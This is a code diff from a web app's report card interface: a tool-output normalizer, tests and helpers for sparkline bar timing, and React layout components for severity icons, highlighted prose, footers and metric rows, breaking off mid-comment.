export { reportIsTrustworthy } from "~/presenters/v3/reports/report-layout";
|
||||
|
||||
/**
|
||||
* Pull the view model (and an optional source URI) out of whatever `get_report`
|
||||
* returned. Tolerates the three shapes a tool output realistically takes: the VM
|
||||
* itself, a `{ vm, uri }` wrapper, or a JSON string.
|
||||
*/
|
||||
function normalizeOutput(output: unknown): { vm: unknown; uri?: string } | null {
|
||||
const value = typeof output === "string" ? tryParseJson(output) : output;
|
||||
|
||||
if (value === null || typeof value !== "object" || Array.isArray(value)) return null;
|
||||
|
||||
const record = value as Record<string, unknown>;
|
||||
|
||||
// The route's error shape (`{ error: "…" }`) is not a report.
|
||||
if (typeof record.error === "string") return null;
|
||||
|
||||
const wrapped = record.vm !== undefined && typeof record.vm === "object";
|
||||
const vm = wrapped ? record.vm : record;
|
||||
const uri = firstTriggerUri(record.reportUri, record.uri);
|
||||
|
||||
return { vm, ...(uri === undefined ? {} : { uri }) };
|
||||
}
|
||||
|
||||
function firstTriggerUri(...candidates: unknown[]): string | undefined {
|
||||
for (const candidate of candidates) {
|
||||
if (typeof candidate === "string" && isTriggerUri(candidate)) return candidate;
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
/** The snapshot's timestamp is the presenter's, never the renderer's clock. */
|
||||
function asOfFrom(vm: unknown): unknown {
|
||||
return (vm as { generatedAt?: unknown } | null)?.generatedAt;
|
||||
}
|
||||
|
||||
function tryParseJson(value: string): unknown {
|
||||
try {
|
||||
return JSON.parse(value);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
import { readFileSync } from "node:fs";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { barTimesMs, condense, hotBarCount, MAX_BARS, seriesEndMs } from "./report-spark";
|
||||
|
||||
describe("condense", () => {
|
||||
it("leaves a series that already fits alone, by reference", () => {
|
||||
const points = [1, 2, 3];
|
||||
expect(condense(points, 18)).toBe(points);
|
||||
});
|
||||
|
||||
it("averages adjacent points down to the bar count", () => {
|
||||
expect(condense([0, 2, 4, 6], 2)).toEqual([1, 5]);
|
||||
});
|
||||
|
||||
it("covers every point exactly once", () => {
|
||||
const points = Array.from({ length: 97 }, (_, i) => i);
|
||||
const bars = condense(points, MAX_BARS);
|
||||
expect(bars).toHaveLength(MAX_BARS);
|
||||
// Each bar is a mean of a non-empty slice, so no bar is NaN and the whole
|
||||
// series is inside the bars' range.
|
||||
expect(bars.every((bar) => Number.isFinite(bar))).toBe(true);
|
||||
expect(Math.min(...bars)).toBeGreaterThanOrEqual(0);
|
||||
expect(Math.max(...bars)).toBeLessThanOrEqual(96);
|
||||
});
|
||||
|
||||
it("never asks for a slice ending before the first point", () => {
|
||||
// Why the removed `Math.max(end, 1)` was unreachable: past the early return
|
||||
// `perBar > 1`, so even the first bar's end index is already at least 1.
|
||||
for (let maxBars = 1; maxBars <= 30; maxBars++) {
|
||||
for (let length = maxBars + 1; length <= maxBars + 40; length++) {
|
||||
const perBar = length / maxBars;
|
||||
for (let i = 0; i < maxBars; i++) {
|
||||
expect(Math.floor((i + 1) * perBar)).toBeGreaterThanOrEqual(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it("gives the first bar the first points, not a slice starting past them", () => {
|
||||
// The old `Math.max(end, 1)` claimed to guard an empty first slice. With
|
||||
// `points.length > maxBars` the end index is already at least 1, so the guard
|
||||
// never fired — and if it ever had, the first bar would be a single point.
|
||||
expect(condense([10, 20, 30, 40, 50, 60], 3)).toEqual([15, 35, 55]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("seriesEndMs", () => {
|
||||
it("reads the presenter's timestamp", () => {
|
||||
expect(seriesEndMs("2026-07-27T10:15:00.000Z")).toBe(Date.parse("2026-07-27T10:15:00.000Z"));
|
||||
});
|
||||
|
||||
it("is null for a missing or unparseable timestamp", () => {
|
||||
expect(seriesEndMs(undefined)).toBeNull();
|
||||
expect(seriesEndMs("")).toBeNull();
|
||||
expect(seriesEndMs("not a date")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* The bars are the report's, not the reader's: two people opening the same report an hour apart,
|
||||
* and one reader re-rendering, must all see the same time on the same bar.
|
||||
*/
|
||||
describe("barTimesMs", () => {
|
||||
const end = Date.parse("2026-07-27T10:00:00.000Z");
|
||||
|
||||
it("spreads the bars back from the series' end", () => {
|
||||
const times = barTimesMs(4, 60, end);
|
||||
expect(times).toEqual([
|
||||
Date.parse("2026-07-27T09:00:00.000Z"),
|
||||
Date.parse("2026-07-27T09:15:00.000Z"),
|
||||
Date.parse("2026-07-27T09:30:00.000Z"),
|
||||
Date.parse("2026-07-27T09:45:00.000Z"),
|
||||
]);
|
||||
});
|
||||
|
||||
it("returns the same times however long after the report they are asked for", () => {
|
||||
expect(barTimesMs(4, 60, end)).toEqual(barTimesMs(4, 60, end));
|
||||
});
|
||||
|
||||
it("gives every bar no time at all when the end is unknown", () => {
|
||||
expect(barTimesMs(3, 60, null)).toEqual([null, null, null]);
|
||||
});
|
||||
|
||||
it("has no bars to time when there are no bars", () => {
|
||||
expect(barTimesMs(0, 60, end)).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("hotBarCount", () => {
|
||||
it("is none without an anomaly window", () => {
|
||||
expect(hotBarCount(18, 60, undefined)).toBe(0);
|
||||
});
|
||||
|
||||
it("marks the trailing bars the window covers", () => {
|
||||
expect(hotBarCount(12, 60, 15)).toBe(3);
|
||||
});
|
||||
|
||||
it("marks at least one bar, and never more than there are", () => {
|
||||
expect(hotBarCount(12, 60, 1)).toBe(1);
|
||||
expect(hotBarCount(12, 60, 600)).toBe(12);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Structural guard, not behavioural proof: it asserts the renderer's source never reaches for a
|
||||
* clock, which is what keeps the bars above stable. It does not render the card.
|
||||
*/
|
||||
describe("the report card reads no clock", () => {
|
||||
const sources = ["report-sparkline.tsx", "ReportView.tsx"];
|
||||
|
||||
it.each(sources)("%s calls neither Date.now nor new Date()", (file) => {
|
||||
const source = readFileSync(new URL(`./${file}`, import.meta.url), "utf8");
|
||||
expect(source).not.toMatch(/Date\.now\(\)/);
|
||||
expect(source).not.toMatch(/new Date\(\s*\)/);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
/**
|
||||
* The sparkline's arithmetic. It lives here rather than in `report-sparkline.tsx` so it stays
|
||||
* clock-free: bar timestamps come from the presenter's `generatedAt`, never from the renderer.
|
||||
*/
|
||||
|
||||
/** How many bars a series is condensed to, so each bar stays wide enough to hover. */
|
||||
export const MAX_BARS = 18;
|
||||
|
||||
/** Average adjacent points down so each bar is wide enough to read and hover. */
|
||||
export function condense(points: number[], maxBars: number = MAX_BARS): number[] {
|
||||
if (points.length <= maxBars) return points;
|
||||
const perBar = points.length / maxBars;
|
||||
return Array.from({ length: maxBars }, (_, i) => {
|
||||
const slice = points.slice(Math.floor(i * perBar), Math.floor((i + 1) * perBar));
|
||||
return slice.reduce((sum, v) => sum + v, 0) / Math.max(slice.length, 1);
|
||||
});
|
||||
}
|
||||
|
||||
/** The series' end, from the view model. Null when the report carries no usable timestamp. */
|
||||
export function seriesEndMs(generatedAt: string | undefined): number | null {
|
||||
if (!generatedAt) return null;
|
||||
const ms = Date.parse(generatedAt);
|
||||
return Number.isNaN(ms) ? null : ms;
|
||||
}
|
||||
|
||||
/**
|
||||
* Each bar's start, spread back from the series' end. All null when the end is unknown: a bar
|
||||
* with no time reads as one, where a guessed time reads as a fact.
|
||||
*/
|
||||
export function barTimesMs(
|
||||
barCount: number,
|
||||
windowMinutes: number,
|
||||
endMs: number | null
|
||||
): (number | null)[] {
|
||||
const length = Math.max(barCount, 0);
|
||||
if (endMs === null || length === 0) return Array.from({ length }, () => null);
|
||||
const windowMs = windowMinutes * 60_000;
|
||||
const intervalMs = windowMs / length;
|
||||
const startMs = endMs - windowMs;
|
||||
return Array.from({ length }, (_, i) => startMs + i * intervalMs);
|
||||
}
|
||||
|
||||
/** Trailing bars inside the anomaly window, which paint at full strength. */
|
||||
export function hotBarCount(
|
||||
barCount: number,
|
||||
windowMinutes: number,
|
||||
anomalyMinutes: number | undefined
|
||||
): number {
|
||||
const minutesPerBar = barCount > 0 ? windowMinutes / barCount : 0;
|
||||
if (!anomalyMinutes || minutesPerBar <= 0) return 0;
|
||||
return Math.min(barCount, Math.max(1, Math.round(anomalyMinutes / minutesPerBar)));
|
||||
}
|
||||
@@ -0,0 +1,698 @@
|
||||
/**
|
||||
* The parts a report card is built from: severity vocabulary, card chrome, the
|
||||
* metric row and its sparkline. Both report cards render this layout, so the
|
||||
* pieces take resolved strings rather than metric objects.
|
||||
*
|
||||
* Keep this file pure: no Remix hooks, no loader data, no router context. Footer
|
||||
* `LinkButton`s are only ever given external URLs, which render as plain anchors.
|
||||
*/
|
||||
import {
|
||||
ArrowUpRightIcon,
|
||||
BookOpenIcon,
|
||||
CheckCircleIcon,
|
||||
ExclamationCircleIcon,
|
||||
ExclamationTriangleIcon,
|
||||
QuestionMarkCircleIcon,
|
||||
} from "@heroicons/react/20/solid";
|
||||
import { Children, Fragment, type ReactNode } from "react";
|
||||
import { Bar, Cell, type TooltipProps } from "recharts";
|
||||
import {
|
||||
REPORT_LABELS,
|
||||
reportFooterStyle,
|
||||
type ReportFooterStyle,
|
||||
type ReportTone,
|
||||
} from "~/presenters/v3/reports/report-layout";
|
||||
import { ActivityBarChart } from "~/components/metrics/ActivityBarChart";
|
||||
import { Button, LinkButton } from "~/components/primitives/Buttons";
|
||||
import { formatDateTime } from "~/components/primitives/DateTime";
|
||||
import { Header3 } from "~/components/primitives/Headers";
|
||||
import { InfoIconTooltip } from "~/components/primitives/Tooltip";
|
||||
import TooltipPortal from "~/components/primitives/TooltipPortal";
|
||||
import { cn } from "~/utils/cn";
|
||||
import { AgentStatusIcon, type AgentTone } from "./agent-badges";
|
||||
import { AgentCard, AgentCardBody, AgentCardHeader } from "./agent-card";
|
||||
import { barTimesMs, condense, hotBarCount } from "./report-spark";
|
||||
|
||||
/** Both cards' severity type (`Severity` / `ReportSeverity`) resolves to this. */
|
||||
export type ReportSeverityKey = "ok" | "warn" | "crit";
|
||||
|
||||
// Semantic tokens, not raw palette classes: only these are remapped by the theme
|
||||
// layer (see tailwind.css). Keyed by tone, so a genuinely-unknown state can't
|
||||
// borrow a verdict's colour.
|
||||
export const SEVERITY_TEXT: Record<ReportTone, string> = {
|
||||
ok: "text-success",
|
||||
warn: "text-warning",
|
||||
crit: "text-error",
|
||||
neutral: "text-text-dimmed",
|
||||
};
|
||||
|
||||
/** The same colours as CSS values, for the sparkline's line. */
|
||||
const SEVERITY_COLOR: Record<ReportTone, string> = {
|
||||
ok: "var(--color-success)",
|
||||
warn: "var(--color-warning)",
|
||||
crit: "var(--color-error)",
|
||||
neutral: "var(--color-text-dimmed)",
|
||||
};
|
||||
|
||||
const SEVERITY_TONE: Record<ReportTone, AgentTone> = {
|
||||
ok: "success",
|
||||
warn: "warning",
|
||||
crit: "error",
|
||||
neutral: "neutral",
|
||||
};
|
||||
|
||||
const SEVERITY_ICON = {
|
||||
ok: CheckCircleIcon,
|
||||
warn: ExclamationTriangleIcon,
|
||||
crit: ExclamationCircleIcon,
|
||||
neutral: QuestionMarkCircleIcon,
|
||||
} as const;
|
||||
|
||||
/**
|
||||
* The state marker on a finding or a summary statement. `tone` is the shared
|
||||
* layout's tone, which is the severity unless the state is genuinely unknown —
|
||||
* the card's counterpart to the text surfaces' `○` glyph.
|
||||
*/
|
||||
export function ReportSeverityIcon({
|
||||
severity,
|
||||
tone,
|
||||
className,
|
||||
}: {
|
||||
severity: ReportSeverityKey;
|
||||
tone?: ReportTone;
|
||||
className?: string;
|
||||
}) {
|
||||
const key = tone ?? severity;
|
||||
return (
|
||||
<AgentStatusIcon
|
||||
tone={SEVERITY_TONE[key]}
|
||||
icon={SEVERITY_ICON[key]}
|
||||
className={cn("size-3.5", className)}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
// --- card chrome ------------------------------------------------------------
|
||||
|
||||
export function ReportCard({ children }: { children: ReactNode }) {
|
||||
return <AgentCard>{children}</AgentCard>;
|
||||
}
|
||||
|
||||
/**
|
||||
* The quiet top line: the report's name, then its scope, period and baseline.
|
||||
* Anything urgent belongs in the headline below.
|
||||
*/
|
||||
export function ReportHeaderLine({
|
||||
name,
|
||||
meta,
|
||||
children,
|
||||
}: {
|
||||
name: string;
|
||||
meta: string;
|
||||
/** State badges that sit next to the name. */
|
||||
children?: ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<AgentCardHeader className="flex flex-wrap items-center gap-2">
|
||||
<span className="text-xs font-medium text-text-bright">{name}</span>
|
||||
{children}
|
||||
<span className="ml-auto text-xs text-text-dimmed">{meta}</span>
|
||||
</AgentCardHeader>
|
||||
);
|
||||
}
|
||||
|
||||
/** The card body. */
|
||||
export function ReportBody({ children, dimmed }: { children: ReactNode; dimmed?: boolean }) {
|
||||
return <AgentCardBody className={cn(dimmed && "opacity-80")}>{children}</AgentCardBody>;
|
||||
}
|
||||
|
||||
/** The verdict as one sentence: icon, the coloured phrase, then why. */
|
||||
export function ReportHeadline({
|
||||
severity,
|
||||
tone,
|
||||
phrase,
|
||||
continuation,
|
||||
}: {
|
||||
severity: ReportSeverityKey;
|
||||
tone?: ReportTone;
|
||||
phrase: string;
|
||||
continuation?: string;
|
||||
}) {
|
||||
return (
|
||||
<p className="flex items-start gap-2 text-sm">
|
||||
<ReportSeverityIcon
|
||||
severity={severity}
|
||||
tone={tone}
|
||||
className={cn("shrink-0", (tone ?? severity) === "warn" ? "mt-1" : "mt-0.5")}
|
||||
/>
|
||||
<span>
|
||||
<span className={cn("font-medium", SEVERITY_TEXT[tone ?? severity])}>{phrase}</span>
|
||||
{continuation ? <span className="text-text-bright"> — {continuation}</span> : null}
|
||||
</span>
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* A finding other than the one in the headline. Fixed columns so consecutive
|
||||
* lines start on the same vertical.
|
||||
*/
|
||||
export function ReportFindingLine({
|
||||
severity,
|
||||
tone,
|
||||
type,
|
||||
text,
|
||||
bright,
|
||||
}: {
|
||||
severity: ReportSeverityKey;
|
||||
tone?: ReportTone;
|
||||
type: string;
|
||||
text: string;
|
||||
bright?: boolean;
|
||||
}) {
|
||||
return (
|
||||
<p className="grid grid-cols-[1rem_4.5rem_minmax(0,1fr)] items-start gap-x-2">
|
||||
<ReportSeverityIcon severity={severity} tone={tone} className="mt-0.5" />
|
||||
<span className="mt-px text-xs uppercase tracking-wide text-text-dimmed">{type}</span>
|
||||
<span className={cn("-mt-0.5 text-sm", bright ? "text-text-bright" : "text-text-dimmed")}>
|
||||
{text}
|
||||
</span>
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
// --- prose highlighting -----------------------------------------------------
|
||||
|
||||
/**
|
||||
* Highlight rules for report prose. Quantities render bright and tabular,
|
||||
* entities mono, verdict phrases bright and medium, everything else dimmed.
|
||||
* Colour stays reserved for severity, so emphasis here is weight only.
|
||||
*/
|
||||
const QUANTITY_RE = /~?\d[\d,.]*\s?(?:%|×|\/min|ms\b|s\b|min\b|h\b)?/g;
|
||||
|
||||
const VERDICT_PHRASES = [
|
||||
"not your code",
|
||||
"not a code problem",
|
||||
"not the workers",
|
||||
"not the platform",
|
||||
];
|
||||
|
||||
type ProseSegment = { text: string; kind: "plain" | "quantity" | "entity" | "verdict" };
|
||||
|
||||
function splitBy(
|
||||
segments: ProseSegment[],
|
||||
match: (text: string) => { start: number; end: number } | null,
|
||||
kind: ProseSegment["kind"]
|
||||
): ProseSegment[] {
|
||||
return segments.flatMap((segment) => {
|
||||
if (segment.kind !== "plain") return [segment];
|
||||
const out: ProseSegment[] = [];
|
||||
let rest = segment.text;
|
||||
for (;;) {
|
||||
const hit = match(rest);
|
||||
if (!hit) break;
|
||||
if (hit.start > 0) out.push({ text: rest.slice(0, hit.start), kind: "plain" });
|
||||
out.push({ text: rest.slice(hit.start, hit.end), kind });
|
||||
rest = rest.slice(hit.end);
|
||||
}
|
||||
if (rest) out.push({ text: rest, kind: "plain" });
|
||||
return out;
|
||||
});
|
||||
}
|
||||
|
||||
/** Apply the highlight rules to one resolved prose line. */
|
||||
export function ReportProse({ text, entities }: { text: string; entities?: string[] }) {
|
||||
let segments: ProseSegment[] = [{ text, kind: "plain" }];
|
||||
|
||||
for (const entity of entities ?? []) {
|
||||
if (!entity) continue;
|
||||
segments = splitBy(
|
||||
segments,
|
||||
(t) => {
|
||||
const i = t.indexOf(entity);
|
||||
return i === -1 ? null : { start: i, end: i + entity.length };
|
||||
},
|
||||
"entity"
|
||||
);
|
||||
}
|
||||
|
||||
for (const phrase of VERDICT_PHRASES) {
|
||||
segments = splitBy(
|
||||
segments,
|
||||
(t) => {
|
||||
const i = t.toLowerCase().indexOf(phrase);
|
||||
return i === -1 ? null : { start: i, end: i + phrase.length };
|
||||
},
|
||||
"verdict"
|
||||
);
|
||||
}
|
||||
|
||||
segments = splitBy(
|
||||
segments,
|
||||
(t) => {
|
||||
QUANTITY_RE.lastIndex = 0;
|
||||
const m = QUANTITY_RE.exec(t);
|
||||
return m && m[0].trim().length > 0 ? { start: m.index, end: m.index + m[0].length } : null;
|
||||
},
|
||||
"quantity"
|
||||
);
|
||||
|
||||
return (
|
||||
<>
|
||||
{segments.map((segment, i) => {
|
||||
switch (segment.kind) {
|
||||
case "quantity":
|
||||
return (
|
||||
<span key={i} className="font-medium tabular-nums text-text-bright">
|
||||
{segment.text}
|
||||
</span>
|
||||
);
|
||||
case "entity":
|
||||
return (
|
||||
<span key={i} className="font-mono text-xs text-text-bright">
|
||||
{segment.text}
|
||||
</span>
|
||||
);
|
||||
case "verdict":
|
||||
return (
|
||||
<span key={i} className="font-medium text-text-bright">
|
||||
{segment.text}
|
||||
</span>
|
||||
);
|
||||
default:
|
||||
return <Fragment key={i}>{segment.text}</Fragment>;
|
||||
}
|
||||
})}
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* A labelled block of lines. The label sits in its own column so the lines hang
|
||||
* together as one indented paragraph.
|
||||
*/
|
||||
export function ReportNoteBlock({ label, children }: { label: string; children: ReactNode }) {
|
||||
const lines = Children.toArray(children).filter(Boolean);
|
||||
if (lines.length === 0) return null;
|
||||
|
||||
return (
|
||||
<div className="grid grid-cols-[2.75rem_minmax(0,1fr)] gap-x-1 text-sm">
|
||||
<span className="text-text-dimmed">{label}</span>
|
||||
<div className="space-y-0.5 text-text-dimmed">
|
||||
{lines.map((line, i) => (
|
||||
<p key={i}>{line}</p>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// --- footer -----------------------------------------------------------------
|
||||
|
||||
// The footer vocabulary lives in the shared layout spec, so the card and the text
|
||||
// surfaces classify a code the same way. `action` is a primary button, `docs` the
|
||||
// docs button, `reference` a text link because a button would promise an action,
|
||||
// and `note` is prose for an option stated rather than offered.
|
||||
export { reportFooterStyle, type ReportFooterStyle };
|
||||
|
||||
/** A dimmed line that accompanies a row entry. */
|
||||
const FOOTER_NOTE_LINES: Record<string, string> = {
|
||||
check_control_plane: "There's nothing to fix on your side.",
|
||||
};
|
||||
|
||||
/** One resolved footer entry: the code it came from, and what it renders as. */
|
||||
export type ReportFooterItem = { code: string; node: ReactNode };
|
||||
|
||||
function isRowEntry(item: ReportFooterItem): boolean {
|
||||
const style = reportFooterStyle(item.code);
|
||||
return style === "action" || style === "docs" || style === "reference";
|
||||
}
|
||||
|
||||
/**
|
||||
* The footer: a "Next steps" heading, the controls in one wrapping row, and
|
||||
* stated options as a dimmed line under it.
|
||||
*/
|
||||
export function ReportFooterLine({ items }: { items: ReportFooterItem[] }) {
|
||||
const entries = items.filter((item) => item.node);
|
||||
if (entries.length === 0) return null;
|
||||
|
||||
const row = entries.filter(isRowEntry);
|
||||
const noteLines = entries
|
||||
.map((item) => FOOTER_NOTE_LINES[item.code])
|
||||
.filter((line): line is string => Boolean(line));
|
||||
const rest = entries.filter((item) => !isRowEntry(item));
|
||||
|
||||
return (
|
||||
<div className="space-y-2 border-t border-grid-bright pt-3">
|
||||
<h4 className="text-xs font-medium uppercase tracking-wide text-text-dimmed">
|
||||
{REPORT_LABELS.nextSteps}
|
||||
</h4>
|
||||
{row.length > 0 ? (
|
||||
// text-xs so a text link in the row (a cited reference) sits at the
|
||||
// same size as the buttons beside it.
|
||||
<div className="flex flex-wrap items-center gap-2 text-xs">
|
||||
{row.map((item, i) => (
|
||||
<Fragment key={i}>{item.node}</Fragment>
|
||||
))}
|
||||
</div>
|
||||
) : null}
|
||||
{rest.length > 0 || noteLines.length > 0 ? (
|
||||
<p className="text-sm leading-6 text-text-dimmed">
|
||||
{noteLines.join(" ")}
|
||||
{noteLines.length > 0 && rest.length > 0 ? " " : null}
|
||||
{rest.map((item, i) => (
|
||||
<Fragment key={i}>
|
||||
{i > 0 ? " " : null}
|
||||
{item.node}
|
||||
</Fragment>
|
||||
))}
|
||||
</p>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* A footer entry that only cites a place to look. Underlined text, never a
|
||||
* button: a button promises something happens here.
|
||||
*/
|
||||
export function ReportFooterLink({
|
||||
href,
|
||||
external,
|
||||
children,
|
||||
}: {
|
||||
href: string;
|
||||
external?: boolean;
|
||||
children: ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<a
|
||||
href={href}
|
||||
{...(external ? { target: "_blank", rel: "noreferrer" } : {})}
|
||||
// The app's link token and the app-wide external-link marker.
|
||||
className="text-text-link underline decoration-text-link/40 underline-offset-2 transition hover:decoration-text-link"
|
||||
>
|
||||
{children}
|
||||
{external ? (
|
||||
<ArrowUpRightIcon className="ml-0.5 inline-block size-3.5 align-[-0.15em] text-text-dimmed" />
|
||||
) : null}
|
||||
</a>
|
||||
);
|
||||
}
|
||||
|
||||
/** A footer entry that states an option instead of offering one. */
|
||||
export function ReportFooterNote({ children }: { children: ReactNode }) {
|
||||
return <span className="text-text-dimmed">{children}</span>;
|
||||
}
|
||||
|
||||
/**
|
||||
* Keeps an `h-6` control on the text baseline inside the footer sentence without
|
||||
* stretching the line it sits on.
|
||||
*/
|
||||
const INLINE_CONTROL = "inline-flex align-middle";
|
||||
|
||||
/** An in-app footer action. */
|
||||
export function ReportFooterAction({
|
||||
onClick,
|
||||
children,
|
||||
}: {
|
||||
onClick: () => void;
|
||||
children: ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<span className={INLINE_CONTROL}>
|
||||
<Button variant="primary/small" onClick={onClick}>
|
||||
{children}
|
||||
</Button>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
/** A footer action that lives at a URL: the same button, as a link. */
|
||||
export function ReportFooterActionLink({
|
||||
href,
|
||||
docs,
|
||||
children,
|
||||
}: {
|
||||
href: string;
|
||||
docs?: boolean;
|
||||
children: ReactNode;
|
||||
}) {
|
||||
const external = /^https?:\/\//i.test(href);
|
||||
return (
|
||||
<span className={INLINE_CONTROL}>
|
||||
<LinkButton
|
||||
to={href}
|
||||
variant={docs ? "docs/small" : "primary/small"}
|
||||
LeadingIcon={docs ? BookOpenIcon : undefined}
|
||||
TrailingIcon={!docs && external ? ArrowUpRightIcon : undefined}
|
||||
>
|
||||
{children}
|
||||
</LinkButton>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
/** Where the snapshot came from, in the report's own URI vocabulary. */
|
||||
export function ReportProvenance({ uri }: { uri: string }) {
|
||||
return <div className="break-all font-mono text-[10px] text-text-faint">{uri}</div>;
|
||||
}
|
||||
|
||||
// --- sparkline --------------------------------------------------------------
|
||||
|
||||
/** The fixed sparkline column. Keeps every sparkline aligned. */
|
||||
const SPARK_WIDTH_CLASS = "w-[5.5rem]";
|
||||
|
||||
/** The chart's own width; the trailing peak label uses the column's remainder. */
|
||||
const SPARK_WIDTH = 56;
|
||||
|
||||
type ReportSparkDatum = { count: number; date: Date | null; hot: boolean };
|
||||
|
||||
function ReportSparkTooltip({
|
||||
active,
|
||||
payload,
|
||||
formatPoint,
|
||||
}: TooltipProps<number, string> & { formatPoint: (value: number) => string }) {
|
||||
if (!active || !payload || payload.length === 0) return null;
|
||||
const entry = payload[0].payload as ReportSparkDatum;
|
||||
return (
|
||||
<TooltipPortal active={active}>
|
||||
<div className="rounded-sm border border-grid-bright bg-background-dimmed px-3 py-2">
|
||||
{entry.date ? (
|
||||
<Header3 className="border-b border-b-border-bright pb-2">
|
||||
{formatDateTime(entry.date, "UTC", [], false, true)}
|
||||
</Header3>
|
||||
) : null}
|
||||
<div className="mt-2 text-xs tabular-nums text-text-bright">{formatPoint(entry.count)}</div>
|
||||
{entry.hot ? <div className="mt-1 text-xs text-warning">in the anomaly window</div> : null}
|
||||
</div>
|
||||
</TooltipPortal>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* A metric's series as an `ActivityBarChart`. Bars inside the anomaly window paint
|
||||
* at full strength and the rest recede to a tint of the same colour, so the breach
|
||||
* reads as one chart changing intensity rather than a second series.
|
||||
*/
|
||||
export function ReportSparkline({
|
||||
points,
|
||||
severity,
|
||||
/** Minutes the whole series covers. Turns a bar into its tooltip time. */
|
||||
windowMinutes,
|
||||
/**
|
||||
* Length of the anomaly window when it runs to the end of the series. The
|
||||
* matching trailing bars paint at full strength.
|
||||
*/
|
||||
anomalyMinutes,
|
||||
/** When the series ends, from the report's `generatedAt`. Turns a bar into a time. */
|
||||
seriesEndMs,
|
||||
/** The metric's own formatter, used by the tooltip and the peak label. */
|
||||
formatPoint,
|
||||
label,
|
||||
className,
|
||||
}: {
|
||||
points: number[];
|
||||
severity: ReportSeverityKey;
|
||||
windowMinutes: number;
|
||||
anomalyMinutes?: number;
|
||||
seriesEndMs: number | null;
|
||||
formatPoint: (value: number) => string;
|
||||
label: string;
|
||||
className?: string;
|
||||
}) {
|
||||
const bars = condense(points);
|
||||
// The view model carries buckets, not timestamps, so spread them back from the
|
||||
// series' end. Never from the renderer's clock: see `report-spark.ts`.
|
||||
const times = barTimesMs(bars.length, windowMinutes, seriesEndMs);
|
||||
const hotBars = hotBarCount(bars.length, windowMinutes, anomalyMinutes);
|
||||
|
||||
const data: ReportSparkDatum[] = bars.map((count, i) => ({
|
||||
count,
|
||||
date: times[i] === null ? null : new Date(times[i]!),
|
||||
hot: i >= bars.length - hotBars,
|
||||
}));
|
||||
|
||||
const color = SEVERITY_COLOR[severity];
|
||||
const calm = `color-mix(in srgb, ${color} 35%, transparent)`;
|
||||
const peak = points.length > 0 ? Math.max(...points) : 0;
|
||||
|
||||
return (
|
||||
<div
|
||||
className={cn(SPARK_WIDTH_CLASS, className)}
|
||||
role="img"
|
||||
aria-label={`${label} over the last ${windowMinutes} minutes, peak ${formatPoint(peak)}`}
|
||||
>
|
||||
<ActivityBarChart
|
||||
data={data}
|
||||
max={Math.max(...bars, 1)}
|
||||
width={SPARK_WIDTH}
|
||||
peak={formatPoint(peak)}
|
||||
tooltip={<ReportSparkTooltip formatPoint={formatPoint} />}
|
||||
>
|
||||
<Bar dataKey="count" isAnimationActive={false} minPointSize={1}>
|
||||
{data.map((entry, i) => (
|
||||
<Cell key={i} fill={entry.hot || hotBars === 0 ? color : calm} />
|
||||
))}
|
||||
</Bar>
|
||||
</ActivityBarChart>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// --- metric row -------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Label, value, delta and sparkline in fixed columns, so every row's label and
|
||||
* chart start on the same vertical whatever the value's width.
|
||||
*/
|
||||
/**
|
||||
* Below a 19rem container the fixed tracks no longer fit beside the value, so the
|
||||
* sparkline drops to its own line. The columns never change, so the value, delta
|
||||
* and note stay on the same verticals at every panel width.
|
||||
*/
|
||||
const METRIC_ROW_CLASS =
|
||||
"grid grid-cols-[6rem_minmax(0,1fr)_2.75rem_5.5rem] items-center gap-x-2 @max-[19rem]:grid-cols-[6rem_minmax(0,1fr)_2.75rem] @max-[19rem]:gap-y-1.5";
|
||||
|
||||
/** The sparkline cell: its own full-width line once the row goes narrow. */
|
||||
const SPARK_CELL_CLASS = "@max-[19rem]:col-span-3 @max-[19rem]:justify-self-end";
|
||||
|
||||
// Labels are never truncated: the column fits the common ones and anything
|
||||
// longer wraps.
|
||||
const LABEL_CLASS = "text-xs uppercase leading-tight tracking-wide text-text-dimmed";
|
||||
|
||||
/** A metric's movement against its baseline. Direction is always an arrow. */
|
||||
export type ReportDelta = { text: string; dir: "up" | "down" | "flat" };
|
||||
|
||||
/**
|
||||
* A view model `Delta` as the row's arrow. A multiplier only reads as movement
|
||||
* once it rounds past 1×; below that a metric with a baseline is flat, and one
|
||||
* without a baseline has nothing to compare against.
|
||||
*/
|
||||
export function reportDelta(
|
||||
delta: { dir: "up" | "down" | "flat"; mult?: number } | undefined,
|
||||
hasBaseline: boolean
|
||||
): ReportDelta | undefined {
|
||||
if (delta && delta.mult !== undefined && delta.mult > 1 && delta.dir !== "flat") {
|
||||
return { text: `${delta.dir === "up" ? "↑" : "↓"} ${delta.mult}×`, dir: delta.dir };
|
||||
}
|
||||
return hasBaseline ? { text: "→ flat", dir: "flat" } : undefined;
|
||||
}
|
||||
|
||||
export function ReportMetricRow({
|
||||
label,
|
||||
value,
|
||||
severity,
|
||||
/** A composite metric's parts, indented under it as their own rows. */
|
||||
subRows,
|
||||
/** The movement against the baseline. */
|
||||
delta,
|
||||
/**
|
||||
* The row's aside, such as its baseline. It goes in a tooltip because as
|
||||
* trailing text it broke the sparkline column and read like part of the value.
|
||||
